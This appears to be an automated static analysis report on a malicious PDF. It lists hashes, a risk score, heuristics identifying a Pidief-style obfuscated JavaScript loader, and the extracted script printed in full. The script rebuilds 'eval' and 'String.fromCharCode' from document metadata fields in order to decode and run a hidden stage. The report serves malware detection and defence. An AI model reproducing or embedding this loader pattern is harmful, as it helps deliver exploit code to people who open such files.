Malicious PDF — malware analysis report

Static analysis result for SHA-256 2a4b565a2453915e…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-08
MD5: 40f2204b122ad54ea9b9a50d0e1f25ae SHA-1: 982d46fe5a11e40e6d8b57f36aec682acb301afe SHA-256: 2a4b565a2453915e65df448864158e232d60bb810f1250b9935cbc91c8158eba
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF8D 453 bytes
SHA-256: 18c9f4a584574fe759d37ddba9924a017302d65db9eb18959c5c1da5b38a0ea0
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
hutsw=e('ti'.concat(v[4],t));
q=hutsw[v](a.length-6,a.length+2);
pbovd=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=hutsw[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	bacaf = 1*(q[i]);
	i++;
	bacaf -= (-1)*(q[i]);
	s2 = s2.concat(pbovd(bacaf));
	i++;
}
e(s2);

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